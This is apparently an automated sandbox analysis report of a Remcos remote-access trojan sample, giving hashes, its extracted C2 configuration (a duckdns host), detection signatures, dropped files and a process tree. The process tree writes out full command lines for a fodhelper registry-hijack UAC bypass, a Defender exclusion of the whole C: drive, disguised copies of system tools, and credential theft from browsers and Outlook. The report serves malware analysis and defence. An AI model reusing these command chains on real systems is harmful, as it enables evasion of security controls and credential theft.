Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 08:07

General

  • Target

    MalwareBazaar.exe

  • Size

    1.0MB

  • MD5

    c9849a6295f2527f02fd7b9a0664d401

  • SHA1

    9db9709ad5446150bff3c3a4d193979753904866

  • SHA256

    52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071

  • SHA512

    0f330d7bc780dbb1b9ef2bc92e018c29523aca29fda9e3f3f785e4c8f6fc06181e0e4c5bb5ad59f7a34409affa606d9d19c4f13981e8097c95778beef6cbd3ea

  • SSDEEP

    24576:E6Dlm/atGKanKxvdwEHfZTX0u/nJaRj9yin1mV/aJscLc:DDcCZfx+GQRjj1mj

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

127.0.0.1:52121

officerem.duckdns.org:52121

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-UNX1LL

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 20 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 5 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe
    "C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4536
    • C:\Users\Public\Libraries\ngtepnyT.pif
      C:\Users\Public\Libraries\ngtepnyT.pif
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2980
      • C:\Windows\system32\cmd.exe
        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DE5A.tmp\DE99.tmp\DE9A.bat C:\Users\Public\Libraries\ngtepnyT.pif"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1768
        • C:\Windows\System32\extrac32.exe
          C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
          4⤵
            PID:4244
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
            4⤵
            • Executes dropped EXE
            PID:2076
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
            4⤵
            • Executes dropped EXE
            PID:1432
          • C:\Users\Public\alpha.exe
            C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:3840
            • C:\Windows\system32\extrac32.exe
              extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
              5⤵
                PID:4476
            • C:\Users\Public\alpha.exe
              C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:4704
              • C:\Windows\system32\extrac32.exe
                extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
                5⤵
                  PID:1196
              • C:\Users\Public\alpha.exe
                C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3300
                • C:\Windows\system32\extrac32.exe
                  extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
                  5⤵
                    PID:3916
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:636
                  • C:\Users\Public\xkn.exe
                    C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
                    5⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:4036
                    • C:\Users\Public\alpha.exe
                      "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                      6⤵
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2468
                      • C:\Users\Public\ger.exe
                        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
                        7⤵
                        • Executes dropped EXE
                        • Modifies registry class
                        PID:3476
                • C:\Windows \System32\per.exe
                  "C:\\Windows \\System32\\per.exe"
                  4⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  PID:324
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:2348
                  • C:\Windows\system32\taskkill.exe
                    taskkill /F /IM SystemSettings.exe
                    5⤵
                    • Kills process with taskkill
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3652
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
                  4⤵
                  • Executes dropped EXE
                  • System Network Configuration Discovery: Internet Connection Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:3868
                  • C:\Windows\system32\PING.EXE
                    ping 127.0.0.1 -n 2
                    5⤵
                    • System Network Configuration Discovery: Internet Connection Discovery
                    • Runs ping.exe
                    PID:4832
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
                  4⤵
                  • Executes dropped EXE
                  PID:1196
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
                  4⤵
                  • Executes dropped EXE
                  PID:2340
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
                  4⤵
                  • Executes dropped EXE
                  PID:1184
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:2172
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:4288
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3508
                • C:\Users\Public\alpha.exe
                  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
                  4⤵
                  • Executes dropped EXE
                  PID:3960
            • C:\Windows\SysWOW64\extrac32.exe
              C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\\Users\\Public\\Libraries\\Tynpetgn.PIF
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2224
            • C:\Windows\SysWOW64\SndVol.exe
              C:\Windows\System32\SndVol.exe
              2⤵
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of SendNotifyMessage
              PID:1884
              • C:\Windows\SysWOW64\SndVol.exe
                C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tyuuaaerwlvnymzwodovexkfuqpyn"
                3⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2680
              • C:\Windows\SysWOW64\SndVol.exe
                C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\wshnttpkktnsitnaxobwpcwodwzhgcvk"
                3⤵
                • Accesses Microsoft Outlook accounts
                • System Location Discovery: System Language Discovery
                PID:2676
              • C:\Windows\SysWOW64\SndVol.exe
                C:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gunfu"
                3⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1532
          • C:\Windows\system32\SystemSettingsAdminFlows.exe
            "C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
            1⤵
              PID:4428

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\ProgramData\remcos\logs.dat

              Filesize

              222B

              MD5

              643bddb1abc4f7e06511a3722cd9362c

              SHA1

              171415173474513e999e94b21bc3482ec67c4bdf

              SHA256

              393bde29bf419fb4d155c0b9f436d54c44b6c157b45839b03ab009ffc20a4a7b

              SHA512

              c54640c75dd414bca259cd666e23f125b084a185ffe60720c82c37264801ad65d33dbd5b4cc70fde8c6719e382399b448793a1abfebd1fa51fc6caf8900ccd79

            • C:\Users\Admin\AppData\Local\Temp\DE5A.tmp\DE99.tmp\DE9A.bat

              Filesize

              1KB

              MD5

              e62f427202d3e5a3ba60ebe78567918c

              SHA1

              6ef0cd5ba6c871815fceb27ff095a7931452b334

              SHA256

              06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

              SHA512

              e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3iayeadb.vl3.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\tyuuaaerwlvnymzwodovexkfuqpyn

              Filesize

              4KB

              MD5

              71e3611290752b1a114e303d84e3987f

              SHA1

              210794023f369235615743c802fce5055961ee6e

              SHA256

              5163d0e849d5d39f1e8beb9d13beea8240d532dff6f28433522148628007af06

              SHA512

              d0235dd58f9038009e44c4847535f2bb652f093418fdfd890c01b4b9d8981df3a31e4a89f9099c226becbfe8541015d60f6b852165241d08cb8795d93dd2eb09

            • C:\Users\Public\Libraries\ngtepnyT.pif

              Filesize

              66KB

              MD5

              c116d3604ceafe7057d77ff27552c215

              SHA1

              452b14432fb5758b46f2897aeccd89f7c82a727d

              SHA256

              7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

              SHA512

              9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

            • C:\Users\Public\alpha.exe

              Filesize

              283KB

              MD5

              8a2122e8162dbef04694b9c3e0b6cdee

              SHA1

              f1efb0fddc156e4c61c5f78a54700e4e7984d55d

              SHA256

              b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

              SHA512

              99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            • C:\Users\Public\ger.exe

              Filesize

              75KB

              MD5

              227f63e1d9008b36bdbcc4b397780be4

              SHA1

              c0db341defa8ef40c03ed769a9001d600e0f4dae

              SHA256

              c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d

              SHA512

              101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

            • C:\Users\Public\xkn.exe

              Filesize

              442KB

              MD5

              04029e121a0cfa5991749937dd22a1d9

              SHA1

              f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

              SHA256

              9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

              SHA512

              6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            • C:\Windows \System32\per.exe

              Filesize

              48KB

              MD5

              85018be1fd913656bc9ff541f017eacd

              SHA1

              26d7407931b713e0f0fa8b872feecdb3cf49065a

              SHA256

              c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5

              SHA512

              3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

            • memory/1532-97-0x0000000000400000-0x0000000000424000-memory.dmp

              Filesize

              144KB

            • memory/1532-99-0x0000000000400000-0x0000000000424000-memory.dmp

              Filesize

              144KB

            • memory/1532-101-0x0000000000400000-0x0000000000424000-memory.dmp

              Filesize

              144KB

            • memory/1884-86-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-118-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-75-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-70-0x0000000002E80000-0x0000000003E80000-memory.dmp

              Filesize

              16.0MB

            • memory/1884-122-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-74-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-121-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-85-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-117-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-88-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-87-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-89-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-90-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-92-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-71-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-116-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-129-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-114-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-112-0x0000000016800000-0x0000000016819000-memory.dmp

              Filesize

              100KB

            • memory/1884-119-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-137-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-138-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-76-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-145-0x0000000000400000-0x0000000000482000-memory.dmp

              Filesize

              520KB

            • memory/1884-109-0x0000000016800000-0x0000000016819000-memory.dmp

              Filesize

              100KB

            • memory/1884-113-0x0000000016800000-0x0000000016819000-memory.dmp

              Filesize

              100KB

            • memory/2676-103-0x0000000000400000-0x0000000000462000-memory.dmp

              Filesize

              392KB

            • memory/2676-102-0x0000000000400000-0x0000000000462000-memory.dmp

              Filesize

              392KB

            • memory/2676-96-0x0000000000400000-0x0000000000462000-memory.dmp

              Filesize

              392KB

            • memory/2680-95-0x0000000000400000-0x0000000000478000-memory.dmp

              Filesize

              480KB

            • memory/2680-98-0x0000000000400000-0x0000000000478000-memory.dmp

              Filesize

              480KB

            • memory/2680-100-0x0000000000400000-0x0000000000478000-memory.dmp

              Filesize

              480KB

            • memory/2980-82-0x0000000000400000-0x0000000001400000-memory.dmp

              Filesize

              16.0MB

            • memory/2980-84-0x0000000000400000-0x000000000041A000-memory.dmp

              Filesize

              104KB

            • memory/2980-5-0x0000000000400000-0x0000000001400000-memory.dmp

              Filesize

              16.0MB

            • memory/2980-11-0x0000000000400000-0x0000000001400000-memory.dmp

              Filesize

              16.0MB

            • memory/2980-9-0x0000000000400000-0x0000000001400000-memory.dmp

              Filesize

              16.0MB

            • memory/2980-10-0x0000000000400000-0x000000000041A000-memory.dmp

              Filesize

              104KB

            • memory/4036-40-0x0000023516780000-0x00000235167A2000-memory.dmp

              Filesize

              136KB

            • memory/4536-0-0x0000000000A00000-0x0000000000A01000-memory.dmp

              Filesize

              4KB

            • memory/4536-1-0x0000000000400000-0x000000000050C000-memory.dmp

              Filesize

              1.0MB